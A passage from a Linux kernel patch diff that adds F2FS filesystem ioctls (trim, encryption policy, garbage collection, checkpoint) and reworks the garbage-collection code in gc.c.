return -EINVAL; + } + return 0; +} - flags = flags & FS_FL_USER_MODIFIABLE; - flags |= oldflags & ~FS_FL_USER_MODIFIABLE; - fi->i_flags = flags; - mutex_unlock(&inode->i_mutex); +static int f2fs_ioc_fitrim(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); + struct super_block *sb = inode->i_sb; + struct request_queue *q = bdev_get_queue(sb->s_bdev); + struct fstrim_range range; + int ret; - f2fs_set_inode_flags(inode); - inode->i_ctime = CURRENT_TIME; - mark_inode_dirty(inode); -out: - mnt_drop_write_file(filp); + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + + if (!blk_queue_discard(q)) + return -EOPNOTSUPP; + + if (copy_from_user(&range, (struct fstrim_range __user *)arg, + sizeof(range))) + return -EFAULT; + + range.minlen = max((unsigned int)range.minlen, + q->limits.discard_granularity); + ret = f2fs_trim_fs(F2FS_SB(sb), &range); + if (ret < 0) return ret; + + if (copy_to_user((struct fstrim_range __user *)arg, &range, + sizeof(range))) + return -EFAULT; + return 0; +} + +static bool uuid_is_nonzero(__u8 u[16]) +{ + int i; + + for (i = 0; i < 16; i++) + if (u[i]) + return true; + return false; +} + +static int f2fs_ioc_set_encryption_policy(struct file *filp, unsigned long arg) +{ +#ifdef CONFIG_F2FS_FS_ENCRYPTION + struct f2fs_encryption_policy policy; + struct inode *inode = file_inode(filp); + + if (copy_from_user(&policy, (struct f2fs_encryption_policy __user *)arg, + sizeof(policy))) + return -EFAULT; + + return f2fs_process_policy(&policy, inode); +#else + return -EOPNOTSUPP; +#endif +} + +static int f2fs_ioc_get_encryption_policy(struct file *filp, unsigned long arg) +{ +#ifdef CONFIG_F2FS_FS_ENCRYPTION + struct f2fs_encryption_policy policy; + struct inode *inode = file_inode(filp); + int err; + + err = f2fs_get_policy(inode, &policy); + if (err) + return err; + + if (copy_to_user((struct f2fs_encryption_policy __user *)arg, &policy, + sizeof(policy))) + return -EFAULT; + return 0; +#else + return -EOPNOTSUPP; +#endif +} + +static int f2fs_ioc_get_encryption_pwsalt(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + int err; + + if (!f2fs_sb_has_crypto(inode->i_sb)) + return -EOPNOTSUPP; + + if (uuid_is_nonzero(sbi->raw_super->encrypt_pw_salt)) + goto got_it; + + err = mnt_want_write_file(filp); + if (err) + return err; + + /* update superblock with uuid */ + generate_random_uuid(sbi->raw_super->encrypt_pw_salt); + + err = f2fs_commit_super(sbi, false); + + mnt_drop_write_file(filp); + if (err) { + /* undo new data */ + memset(sbi->raw_super->encrypt_pw_salt, 0, 16); + return err; + } +got_it: + if (copy_to_user((__u8 __user *)arg, sbi->raw_super->encrypt_pw_salt, + 16)) + return -EFAULT; + return 0; +} + +static int f2fs_ioc_gc(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + __u32 sync; + + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + + if (get_user(sync, (__u32 __user *)arg)) + return -EFAULT; + + if (f2fs_readonly(sbi->sb)) + return -EROFS; + + if (!sync) { + if (!mutex_trylock(&sbi->gc_mutex)) + return -EBUSY; + } else { + mutex_lock(&sbi->gc_mutex); } + + return f2fs_gc(sbi, sync); +} + +static int f2fs_ioc_write_checkpoint(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct cp_control cpc; + + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + + if (f2fs_readonly(sbi->sb)) + return -EROFS; + + cpc.reason = __get_cp_reason(sbi); + + mutex_lock(&sbi->gc_mutex); + write_checkpoint(sbi, &cpc); + mutex_unlock(&sbi->gc_mutex); + + return 0; +} + +long f2fs_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) +{ + switch (cmd) { + case F2FS_IOC_GETFLAGS: + return f2fs_ioc_getflags(filp, arg); + case F2FS_IOC_SETFLAGS: + return f2fs_ioc_setflags(filp, arg); + case F2FS_IOC_GETVERSION: + return f2fs_ioc_getversion(filp, arg); + case F2FS_IOC_START_ATOMIC_WRITE: + return f2fs_ioc_start_atomic_write(filp); + case F2FS_IOC_COMMIT_ATOMIC_WRITE: + return f2fs_ioc_commit_atomic_write(filp); + case F2FS_IOC_START_VOLATILE_WRITE: + return f2fs_ioc_start_volatile_write(filp); + case F2FS_IOC_RELEASE_VOLATILE_WRITE: + return f2fs_ioc_release_volatile_write(filp); + case F2FS_IOC_ABORT_VOLATILE_WRITE: + return f2fs_ioc_abort_volatile_write(filp); + case FS_IOC_SHUTDOWN: + return f2fs_ioc_shutdown(filp, arg); + case FITRIM: + return f2fs_ioc_fitrim(filp, arg); + case F2FS_IOC_SET_ENCRYPTION_POLICY: + return f2fs_ioc_set_encryption_policy(filp, arg); + case F2FS_IOC_GET_ENCRYPTION_POLICY: + return f2fs_ioc_get_encryption_policy(filp, arg); + case F2FS_IOC_GET_ENCRYPTION_PWSALT: + return f2fs_ioc_get_encryption_pwsalt(filp, arg); + case F2FS_IOC_GARBAGE_COLLECT: + return f2fs_ioc_gc(filp, arg); + case F2FS_IOC_WRITE_CHECKPOINT: + return f2fs_ioc_write_checkpoint(filp, arg); default: return -ENOTTY; } @@ -645,12 +1723,13 @@ long f2fs_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) #endif const struct file_operations f2fs_file_operations = { - .llseek = generic_file_llseek, + .llseek = f2fs_llseek, .read = do_sync_read, .write = do_sync_write, .aio_read = generic_file_aio_read, .aio_write = generic_file_aio_write, - .open = generic_file_open, + .open = f2fs_file_open, + .release = f2fs_release_file, .mmap = f2fs_file_mmap, .fsync = f2fs_sync_file, .fallocate = f2fs_fallocate, diff --git a/fs/f2fs/gc.c b/fs/f2fs/gc.c index 14961593e93c8..72c1626e7efd7 100644 --- a/fs/f2fs/gc.c +++ b/fs/f2fs/gc.c @@ -24,15 +24,14 @@ #include "gc.h" #include -static struct kmem_cache *winode_slab; - static int gc_thread_func(void *data) { struct f2fs_sb_info *sbi = data; + struct f2fs_gc_kthread *gc_th = sbi->gc_thread; wait_queue_head_t *wq = &sbi->gc_thread->gc_wait_queue_head; long wait_ms; - wait_ms = GC_THREAD_MIN_SLEEP_TIME; + wait_ms = gc_th->min_sleep_time; do { if (try_to_freeze()) @@ -45,7 +44,7 @@ static int gc_thread_func(void *data) break; if (sbi->sb->s_writers.frozen >= SB_FREEZE_WRITE) { - wait_ms = GC_THREAD_MAX_SLEEP_TIME; + increase_sleep_time(gc_th, &wait_ms); continue; } @@ -57,7 +56,7 @@ static int gc_thread_func(void *data) * 3. IO subsystem is idle by checking the # of requests in * bdev's request list. * - * Note) We have to avoid triggering GCs too much frequently. + * Note) We have to avoid triggering GCs frequently. * Because it is possible that some segments can be * invalidated soon after by user update or deletion. * So, I'd like to wait some time to collect dirty segments. @@ -66,21 +65,28 @@ static int gc_thread_func(void *data) continue; if (!is_idle(sbi)) { - wait_ms = increase_sleep_time(wait_ms); + increase_sleep_time(gc_th, &wait_ms); mutex_unlock(&sbi->gc_mutex); continue; } if (has_enough_invalid_blocks(sbi)) - wait_ms = decrease_sleep_time(wait_ms); + decrease_sleep_time(gc_th, &wait_ms); else - wait_ms = increase_sleep_time(wait_ms); + increase_sleep_time(gc_th, &wait_ms); - sbi->bg_gc++; + stat_inc_bggc_count(sbi); /* if return value is not zero, no victim was selected */ - if (f2fs_gc(sbi)) - wait_ms = GC_THREAD_NOGC_SLEEP_TIME; + if (f2fs_gc(sbi, test_opt(sbi, FORCE_FG_GC))) + wait_ms = gc_th->no_gc_sleep_time; + + trace_f2fs_background_gc(sbi->sb, wait_ms, + prefree_segments(sbi), free_segments(sbi)); + + /* balancing f2fs's metadata periodically */ + f2fs_balance_fs_bg(sbi); + } while (!kthread_should_stop()); return 0; } @@ -89,23 +95,31 @@ int start_gc_thread(struct f2fs_sb_info *sbi) { struct f2fs_gc_kthread *gc_th; dev_t dev = sbi->sb->s_bdev->bd_dev; + int err = 0; - if (!test_opt(sbi, BG_GC)) - return 0; gc_th = kmalloc(sizeof(struct f2fs_gc_kthread), GFP_KERNEL); - if (!gc_th) - return -ENOMEM; + if (!gc_th) { + err = -ENOMEM; + goto out; + } + + gc_th->min_sleep_time = DEF_GC_THREAD_MIN_SLEEP_TIME; + gc_th->max_sleep_time = DEF_GC_THREAD_MAX_SLEEP_TIME; + gc_th->no_gc_sleep_time = DEF_GC_THREAD_NOGC_SLEEP_TIME; + + gc_th->gc_idle = 0; sbi->gc_thread = gc_th; init_waitqueue_head(&sbi->gc_thread->gc_wait_queue_head); sbi->gc_thread->f2fs_gc_task = kthread_run(gc_thread_func, sbi, "f2fs_gc-%u:%u", MAJOR(dev), MINOR(dev)); if (IS_ERR(gc_th->f2fs_gc_task)) { + err = PTR_ERR(gc_th->f2fs_gc_task); kfree(gc_th); sbi->gc_thread = NULL; - return -ENOMEM; } - return 0; +out: + return err; } void stop_gc_thread(struct f2fs_sb_info *sbi) @@ -118,9 +132,17 @@ void stop_gc_thread(struct f2fs_sb_info *sbi) sbi->gc_thread = NULL; } -static int select_gc_type(int gc_type) +static int select_gc_type(struct f2fs_gc_kthread *gc_th, int gc_type) { - return (gc_type == BG_GC) ? GC_CB : GC_GREEDY; + int gc_mode = (gc_type == BG_GC) ? GC_CB : GC_GREEDY; + + if (gc_th && gc_th->gc_idle) { + if (gc_th->gc_idle == 1) + gc_mode = GC_CB; + else if (gc_th->gc_idle == 2) + gc_mode = GC_GREEDY; + } + return gc_mode; } static void select_policy(struct f2fs_sb_info *sbi, int gc_type, @@ -131,12 +153,18 @@ static void select_policy(struct f2fs_sb_info *sbi, int gc_type, if (p->alloc_mode == SSR) { p->gc_mode = GC_GREEDY; p->dirty_segmap = dirty_i->dirty_segmap[type]; + p->max_search = dirty_i->nr_dirty[type]; p->ofs_unit = 1; } else { - p->gc_mode = select_gc_type(gc_type); + p->gc_mode = select_gc_type(sbi->gc_thread, gc_type); p->dirty_segmap = dirty_i->dirty_segmap[DIRTY]; + p->max_search = dirty_i->nr_dirty[DIRTY]; p->ofs_unit = sbi->segs_per_sec; } + + if (p->max_search > sbi->max_victim_search) + p->max_search = sbi->max_victim_search; + p->offset = sbi->last_victim[p->gc_mode]; } @@ -157,7 +185,6 @@ static unsigned int get_max_cost(struct f2fs_sb_info *sbi, static unsigned int check_bg_victims(struct f2fs_sb_info *sbi) { struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); - unsigned int hint = 0; unsigned int secno; /* @@ -165,11 +192,9 @@ static unsigned int check_bg_victims(struct f2fs_sb_info *sbi) * selected by background GC before. * Those segments guarantee they have small valid blocks. */ -next: - secno = find_next_bit(dirty_i->victim_secmap, TOTAL_SECS(sbi), hint++); - if (secno < TOTAL_SECS(sbi)) { + for_each_set_bit(secno, dirty_i->victim_secmap, MAIN_SECS(sbi)) { if (sec_usage_check(sbi, secno)) - goto next; + continue; clear_bit(secno, dirty_i->victim_secmap); return secno * sbi->segs_per_sec; } @@ -196,7 +221,7 @@ static unsigned int get_cb_cost(struct f2fs_sb_info *sbi, unsigned int segno) u = (vblocks * 100) >> sbi->log_blocks_per_seg; - /* Handle if the system time is changed by user */ + /* Handle if the system time has changed by the user */ if (mtime < sit_i->min_mtime) sit_i->min_mtime = mtime; if (mtime > sit_i->max_mtime) @@ -208,8 +233,8 @@ static unsigned int get_cb_cost(struct f2fs_sb_info *sbi, unsigned int segno) return UINT_MAX - ((100 * (100 - u) * age) / (100 + u)); } -static unsigned int get_gc_cost(struct f2fs_sb_info *sbi, unsigned int segno, - struct victim_sel_policy *p) +static inline unsigned int get_gc_cost(struct f2fs_sb_info *sbi, + unsigned int segno, struct victim_sel_policy *p) { if (p->alloc_mode == SSR) return get_seg_entry(sbi, segno)->ckpt_valid_blocks; @@ -234,16 +259,20 @@ static int get_victim_by_default(struct f2fs_sb_info *sbi, { struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); struct victim_sel_policy p; - unsigned int secno; + unsigned int secno, max_cost; + unsigned int last_segment = MAIN_SEGS(sbi); int nsearched = 0; + mutex_lock(&dirty_i->seglist_lock); + p.alloc_mode = alloc_mode; select_policy(sbi, gc_type, type, &p); p.min_segno = NULL_SEGNO; - p.min_cost = get_max_cost(sbi, &p); + p.min_cost = max_cost = get_max_cost(sbi, &p); - mutex_lock(&dirty_i->seglist_lock); + if (p.max_search == 0) + goto out; if (p.alloc_mode == LFS && gc_type == FG_GC) { p.min_segno = check_bg_victims(sbi); @@ -255,17 +284,21 @@ static int get_victim_by_default(struct f2fs_sb_info *sbi, unsigned long cost; unsigned int segno; - segno = find_next_bit(p.dirty_segmap, - TOTAL_SEGS(sbi), p.offset); - if (segno >= TOTAL_SEGS(sbi)) { + segno = find_next_bit(p.dirty_segmap, last_segment, p.offset); + if (segno >= last_segment) { if (sbi->last_victim[p.gc_mode]) { + last_segment = sbi->last_victim[p.gc_mode]; sbi->last_victim[p.gc_mode] = 0; p.offset = 0; continue; } break; } - p.offset = ((segno / p.ofs_unit) * p.ofs_unit) + p.ofs_unit; + + p.offset = segno + p.ofs_unit; + if (p.ofs_unit > 1) + p.offset -= segno % p.ofs_unit; + secno = GET_SECNO(sbi, segno); if (sec_usage_check(sbi, secno)) @@ -278,18 +311,17 @@ static int get_victim_by_default(struct f2fs_sb_info *sbi, if (p.min_cost > cost) { p.min_segno = segno; p.min_cost = cost; - } - - if (cost == get_max_cost(sbi, &p)) + } else if (unlikely(cost == max_cost)) { continue; + } - if (nsearched++ >= MAX_VICTIM_SEARCH) { + if (nsearched++ >= p.max_search) { sbi->last_victim[p.gc_mode] = segno; break; } } -got_it: if (p.min_segno != NULL_SEGNO) { +got_it: if (p.alloc_mode == LFS) { secno = GET_SECNO(sbi, p.min_segno); if (gc_type == FG_GC) @@ -303,6 +335,7 @@ static int get_victim_by_default(struct f2fs_sb_info *sbi, sbi->cur_victim_sec, prefree_segments(sbi), free_segments(sbi)); } +out: mutex_unlock(&dirty_i->seglist_lock); return (p.min_segno == NULL_SEGNO) ? 0 : 1; @@ -312,48 +345,39 @@ static const struct victim_selection default_v_ops = { .get_victim = get_victim_by_default, }; -static struct inode *find_gc_inode(nid_t ino, struct list_head *ilist) +static struct inode *find_gc_inode(struct gc_inode_list *gc_list, nid_t ino) { - struct list_head *this; struct inode_entry *ie; - list_for_each(this, ilist) { - ie = list_entry(this, struct inode_entry, list); - if (ie->inode->i_ino == ino) - return ie->inode; - } + ie = radix_tree_lookup(&gc_list->iroot, ino); + if (ie) + return ie->inode; return NULL; } -static void add_gc_inode(struct inode *inode, struct list_head *ilist) +static void add_gc_inode(struct gc_inode_list *gc_list, struct inode *inode) { - struct list_head *this; - struct inode_entry *new_ie, *ie; - - list_for_each(this, ilist) { - ie = list_entry(this, struct inode_entry, list); - if (ie->inode == inode) { - iput(inode); - return; - } - } -repeat: - new_ie = kmem_cache_alloc(winode_slab, GFP_NOFS); - if (!new_ie) { - cond_resched(); - goto repeat; + struct inode_entry *new_ie; + + if (inode == find_gc_inode(gc_list, inode->i_ino)) { + iput(inode); + return; } + new_ie = f2fs_kmem_cache_alloc(inode_entry_slab, GFP_NOFS); new_ie->inode = inode; - list_add_tail(&new_ie->list, ilist); + + f2fs_radix_tree_insert(&gc_list->iroot, inode->i_ino, new_ie); + list_add_tail(&new_ie->list, &gc_list->ilist); } -static void put_gc_inode(struct list_head *ilist) +static void put_gc_inode(struct gc_inode_list *gc_list) { struct inode_entry *ie, *next_ie; - list_for_each_entry_safe(ie, next_ie, ilist, list) { + list_for_each_entry_safe(ie, next_ie, &gc_list->ilist, list) { + radix_tree_delete(&gc_list->iroot, ie->inode->i_ino); iput(ie->inode); list_del(&ie->list); - kmem_cache_free(winode_slab, ie); + kmem_cache_free(inode_entry_slab, ie); } } @@ -376,23 +400,27 @@ static int check_valid_map(struct f2fs_sb_info *sbi, * On validity, copy that node with cold status, otherwise (invalid node) * ignore that. */ -static void gc_node_segment(struct f2fs_sb_info *sbi, +static int gc_node_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, unsigned int segno, int gc_type) { bool initial = true; struct f2fs_summary *entry; + block_t start_addr; int off; + start_addr = START_BLOCK(sbi, segno); + next_step: entry = sum; for (off = 0; off < sbi->blocks_per_seg; off++, entry++) { nid_t nid = le32_to_cpu(entry->nid); struct page *node_page; + struct node_info ni; /* stop BG_GC if there is not enough free sections. */ if (gc_type == BG_GC && has_not_enough_free_secs(sbi, 0)) - return; + return 0; if (check_valid_map(sbi, segno, off) == 0) continue; @@ -405,17 +433,28 @@ static void gc_node_segment(struct f2fs_sb_info *sbi, if (IS_ERR(node_page)) continue; + /* block may become invalid during get_node_page */ + if (check_valid_map(sbi, segno, off) == 0) { + f2fs_put_page(node_page, 1); + continue; + } + + get_node_info(sbi, nid, &ni); + if (ni.blk_addr != start_addr + off) { + f2fs_put_page(node_page, 1); + continue; + } + /* set page dirty and write it */ if (gc_type == FG_GC) { - f2fs_submit_bio(sbi, NODE, true); - wait_on_page_writeback(node_page); + f2fs_wait_on_page_writeback(node_page, NODE); set_page_dirty(node_page); } else { if (!PageWriteback(node_page)) set_page_dirty(node_page); } f2fs_put_page(node_page, 1); - stat_inc_node_blk_count(sbi, 1); + stat_inc_node_blk_count(sbi, 1, gc_type); } if (initial) { @@ -431,13 +470,11 @@ static void gc_node_segment(struct f2fs_sb_info *sbi, }; sync_node_pages(sbi, 0, &wbc); - /* - * In the case of FG_GC, it'd be better to reclaim this victim - * completely. - */ - if (get_valid_blocks(sbi, segno, 1) != 0) - goto next_step; + /* return 1 only if FG_GC succefully reclaimed one */ + if (get_valid_blocks(sbi, segno, 1) == 0) + return 1; } + return 0; } /* @@ -447,7 +484,7 @@ static void gc_node_segment(struct f2fs_sb_info *sbi, * as indirect or double indirect node blocks, are given, it must be a caller's * bug. */ -block_t start_bidx_of_node(unsigned int node_ofs) +block_t start_bidx_of_node(unsigned int node_ofs, struct f2fs_inode_info *fi) { unsigned int indirect_blks = 2 * NIDS_PER_BLOCK + 4; unsigned int bidx; @@ -464,10 +501,10 @@ block_t start_bidx_of_node(unsigned int node_ofs) int dec = (node_ofs - indirect_blks - 3) / (NIDS_PER_BLOCK + 1); bidx = node_ofs - 5 - dec; } - return bidx * ADDRS_PER_BLOCK + ADDRS_PER_INODE; + return bidx * ADDRS_PER_BLOCK + ADDRS_PER_INODE(fi); } -static int check_dnode(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, +static bool is_alive(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, struct node_info *dni, block_t blkaddr, unsigned int *nofs) { struct page *node_page; @@ -480,13 +517,13 @@ static int check_dnode(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, node_page = get_node_page(sbi, nid); if (IS_ERR(node_page)) - return 0; + return false; get_node_info(sbi, nid, dni); if (sum->version != dni->version) { f2fs_put_page(node_page, 1); - return 0; + return false; } *nofs = ofs_of_node(node_page); @@ -494,32 +531,124 @@ static int check_dnode(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, f2fs_put_page(node_page, 1); if (source_blkaddr != blkaddr) - return 0; - return 1; + return false; + return true; } -static void move_data_page(struct inode *inode, struct page *page, int gc_type) +static void move_encrypted_block(struct inode *inode, block_t bidx) { + struct f2fs_io_info fio = { + .sbi = F2FS_I_SB(inode), + .type = DATA, + .rw = READ_SYNC, + .encrypted_page = NULL, + }; + struct dnode_of_data dn; + struct f2fs_summary sum; + struct node_info ni; + struct page *page; + int err; + + /* do not read out */ + page = f2fs_grab_cache_page(inode->i_mapping, bidx, false); + if (!page) + return; + + set_new_dnode(&dn, inode, NULL, NULL, 0); + err = get_dnode_of_data(&dn, bidx, LOOKUP_NODE); + if (err) + goto out; + + if (unlikely(dn.data_blkaddr == NULL_ADDR)) { + ClearPageUptodate(page); + goto put_out; + } + + /* + * don't cache encrypted data into meta inode until previous dirty + * data were writebacked to avoid racing between GC and flush. + */ + f2fs_wait_on_page_writeback(page, DATA); + + get_node_info(fio.sbi, dn.nid, &ni); + set_summary(&sum, dn.nid, dn.ofs_in_node, ni.version); + + /* read page */ + fio.page = page; + fio.blk_addr = dn.data_blkaddr; + + fio.encrypted_page = f2fs_grab_cache_page(META_MAPPING(fio.sbi), + fio.blk_addr, true); + if (!fio.encrypted_page) + goto put_out; + + err = f2fs_submit_page_bio(&fio); + if (err) + goto put_page_out; + + /* write page */ + lock_page(fio.encrypted_page); + + if (unlikely(!PageUptodate(fio.encrypted_page))) + goto put_page_out; + if (unlikely(fio.encrypted_page->mapping != META_MAPPING(fio.sbi))) + goto put_page_out; + + set_page_dirty(fio.encrypted_page); + f2fs_wait_on_page_writeback(fio.encrypted_page, DATA); + if (clear_page_dirty_for_io(fio.encrypted_page)) + dec_page_count(fio.sbi, F2FS_DIRTY_META); + + set_page_writeback(fio.encrypted_page); + + /* allocate block address */ + f2fs_wait_on_page_writeback(dn.node_page, NODE); + allocate_data_block(fio.sbi, NULL, fio.blk_addr, + &fio.blk_addr, &sum, CURSEG_COLD_DATA); + fio.rw = WRITE_SYNC; + f2fs_submit_page_mbio(&fio); + + dn.data_blkaddr = fio.blk_addr; + set_data_blkaddr(&dn); + f2fs_update_extent_cache(&dn); + set_inode_flag(F2FS_I(inode), FI_APPEND_WRITE); + if (page->index == 0) + set_inode_flag(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); +put_page_out: + f2fs_put_page(fio.encrypted_page, 1); +put_out: + f2fs_put_dnode(&dn); +out: + f2fs_put_page(page, 1); +} + +static void move_data_page(struct inode *inode, block_t bidx, int gc_type) +{ + struct page *page; + + page = get_lock_data_page(inode, bidx, true); + if (IS_ERR(page)) + return; + if (gc_type == BG_GC) { if (PageWriteback(page)) goto out; set_page_dirty(page); set_cold_data(page); } else { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - - if (PageWriteback(page)) { - f2fs_submit_bio(sbi, DATA, true); - wait_on_page_writeback(page); - } - - if (clear_page_dirty_for_io(page) && - S_ISDIR(inode->i_mode)) { - dec_page_count(sbi, F2FS_DIRTY_DENTS); - inode_dec_dirty_dents(inode); - } + struct f2fs_io_info fio = { + .sbi = F2FS_I_SB(inode), + .type = DATA, + .rw = WRITE_SYNC, + .page = page, + .encrypted_page = NULL, + }; + set_page_dirty(page); + f2fs_wait_on_page_writeback(page, DATA); + if (clear_page_dirty_for_io(page)) + inode_dec_dirty_pages(inode); set_cold_data(page); - do_write_data_page(page); + do_write_data_page(&fio); clear_cold_data(page); } out: @@ -533,8 +662,8 @@ static void move_data_page(struct inode *inode, struct page *page, int gc_type) * If the parent node is not valid or the data block address is different, * the victim data block is ignored. */ -static void gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, - struct list_head *ilist, unsigned int segno, int gc_type) +static int gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, + struct gc_inode_list *gc_list, unsigned int segno, int gc_type) { struct super_block *sb = sbi->sb; struct f2fs_summary *entry; @@ -556,7 +685,7 @@ static void gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, /* stop BG_GC if there is not enough free sections. */ if (gc_type == BG_GC && has_not_enough_free_secs(sbi, 0)) - return; + return 0; if (check_valid_map(sbi, segno, off) == 0) continue; @@ -567,7 +696,7 @@ static void gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, } /* Get an inode by ino with checking validity */ - if (check_dnode(sbi, entry, &dni, start_addr + off, &nofs) == 0) + if (!is_alive(sbi, entry, &dni, start_addr + off, &nofs)) continue; if (phase == 1) { @@ -575,137 +704,180 @@ static void gc_data_segment(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, continue; } - start_bidx = start_bidx_of_node(nofs); ofs_in_node = le16_to_cpu(entry->ofs_in_node); if (phase == 2) { inode = f2fs_iget(sb, dni.ino); - if (IS_ERR(inode)) + if (IS_ERR(inode) || is_bad_inode(inode)) continue; - data_page = find_data_page(inode, - start_bidx + ofs_in_node, false); - if (IS_ERR(data_page)) - goto next_iput; + /* if encrypted inode, let's go phase 3 */ + if (f2fs_encrypted_inode(inode) && + S_ISREG(inode->i_mode)) { + add_gc_inode(gc_list, inode); + continue; + } - f2fs_put_page(data_page, 0); - add_gc_inode(inode, ilist); - } else { - inode = find_gc_inode(dni.ino, ilist); - if (inode) { - data_page = get_lock_data_page(inode, - start_bidx + ofs_in_node); - if (IS_ERR(data_page)) - continue; - move_data_page(inode, data_page, gc_type); - stat_inc_data_blk_count(sbi, 1); + start_bidx = start_bidx_of_node(nofs, F2FS_I(inode)); + data_page = get_read_data_page(inode, + start_bidx + ofs_in_node, READA, true); + if (IS_ERR(data_page)) { + iput(inode); + continue; } + + f2fs_put_page(data_page, 0); + add_gc_inode(gc_list, inode); + continue; + } + + /* phase 3 */ + inode = find_gc_inode(gc_list, dni.ino); + if (inode) { + start_bidx = start_bidx_of_node(nofs, F2FS_I(inode)) + + ofs_in_node; + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) + move_encrypted_block(inode, start_bidx); + else + move_data_page(inode, start_bidx, gc_type); + stat_inc_data_blk_count(sbi, 1, gc_type); } - continue; -next_iput: - iput(inode); } if (++phase < 4) goto next_step; if (gc_type == FG_GC) { - f2fs_submit_bio(sbi, DATA, true); + f2fs_submit_merged_bio(sbi, DATA, WRITE); - /* - * In the case of FG_GC, it'd be better to reclaim this victim - * completely. - */ - if (get_valid_blocks(sbi, segno, 1) != 0) { - phase = 2; - goto next_step; - } + /* return 1 only if FG_GC succefully reclaimed one */ + if (get_valid_blocks(sbi, segno, 1) == 0) + return 1; } + return 0; } static int __get_victim(struct f2fs_sb_info *sbi, unsigned int *victim, - int gc_type, int type) + int gc_type) { struct sit_info *sit_i = SIT_I(sbi); int ret; + mutex_lock(&sit_i->sentry_lock); - ret = DIRTY_I(sbi)->v_ops->get_victim(sbi, victim, gc_type, type, LFS); + ret = DIRTY_I(sbi)->v_ops->get_victim(sbi, victim, gc_type, + NO_CHECK_TYPE, LFS); mutex_unlock(&sit_i->sentry_lock); return ret; } -static void do_garbage_collect(struct f2fs_sb_info *sbi, unsigned int segno, - struct list_head *ilist, int gc_type) +static int do_garbage_collect(struct f2fs_sb_info *sbi, unsigned int segno, + struct gc_inode_list *gc_list, int gc_type) { struct page *sum_page; struct f2fs_summary_block *sum; struct blk_plug plug; + int nfree = 0; /* read segment summary of victim */ sum_page = get_sum_page(sbi, segno); - if (IS_ERR(sum_page)) - return; blk_start_plug(&plug); sum = page_address(sum_page); + /* + * this is to avoid deadlock: + * - lock_page(sum_page) - f2fs_replace_block + * - check_valid_map() - mutex_lock(sentry_lock) + * - mutex_lock(sentry_lock) - change_curseg() + * - lock_page(sum_page) + */ + unlock_page(sum_page); + switch (GET_SUM_TYPE((&sum->footer))) { case SUM_TYPE_NODE: - gc_node_segment(sbi, sum->entries, segno, gc_type); + nfree = gc_node_segment(sbi, sum->entries, segno, gc_type); break; case SUM_TYPE_DATA: - gc_data_segment(sbi, sum->entries, ilist, segno, gc_type); + nfree = gc_data_segment(sbi, sum->entries, gc_list, + segno, gc_type); break; } blk_finish_plug(&plug); - stat_inc_seg_count(sbi, GET_SUM_TYPE((&sum->footer))); + stat_inc_seg_count(sbi, GET_SUM_TYPE((&sum->footer)), gc_type); stat_inc_call_count(sbi->stat_info); - f2fs_put_page(sum_page, 1); + f2fs_put_page(sum_page, 0); + return nfree; } -int f2fs_gc(struct f2fs_sb_info *sbi) +int f2fs_gc(struct f2fs_sb_info *sbi, bool sync) { - struct list_head ilist; unsigned int segno, i; - int gc_type = BG_GC; - int nfree = 0; - int ret = -1; - - INIT_LIST_HEAD(&ilist); + int gc_type = sync ? FG_GC : BG_GC; + int sec_freed = 0; + int ret = -EINVAL; + struct cp_control cpc; + struct gc_inode_list gc_list = { + .ilist = LIST_HEAD_INIT(gc_list.ilist), + .iroot = RADIX_TREE_INIT(GFP_NOFS), + }; + + cpc.reason = __get_cp_reason(sbi); gc_more: - if (!(sbi->sb->s_flags & MS_ACTIVE)) + segno = NULL_SEGNO; + + if (unlikely(!(sbi->sb->s_flags & MS_ACTIVE))) + goto stop; + if (unlikely(f2fs_cp_error(sbi))) goto stop; - if (gc_type == BG_GC && has_not_enough_free_secs(sbi, nfree)) { + if (gc_type == BG_GC && has_not_enough_free_secs(sbi, sec_freed)) { gc_type = FG_GC; - write_checkpoint(sbi, false); + if (__get_victim(sbi, &segno, gc_type) || prefree_segments(sbi)) + write_checkpoint(sbi, &cpc); } - if (!__get_victim(sbi, &segno, gc_type, NO_CHECK_TYPE)) + if (segno == NULL_SEGNO && !__get_victim(sbi, &segno, gc_type)) goto stop; ret = 0; - for (i = 0; i < sbi->segs_per_sec; i++) - do_garbage_collect(sbi, segno + i, &ilist, gc_type); + /* readahead multi ssa blocks those have contiguous address */ + if (sbi->segs_per_sec > 1) + ra_meta_pages(sbi, GET_SUM_BLOCK(sbi, segno), sbi->segs_per_sec, + META_SSA, true); - if (gc_type == FG_GC) { - sbi->cur_victim_sec = NULL_SEGNO; - nfree++; - WARN_ON(get_valid_blocks(sbi, segno, sbi->segs_per_sec)); + for (i = 0; i < sbi->segs_per_sec; i++) { + /* + * for FG_GC case, halt gcing left segments once failed one + * of segments in selected section to avoid long latency. + */ + if (!do_garbage_collect(sbi, segno + i, &gc_list, gc_type) && + gc_type == FG_GC) + break; } - if (has_not_enough_free_secs(sbi, nfree)) - goto gc_more; + if (i == sbi->segs_per_sec && gc_type == FG_GC) + sec_freed++; if (gc_type == FG_GC) - write_checkpoint(sbi, false); + sbi->cur_victim_sec = 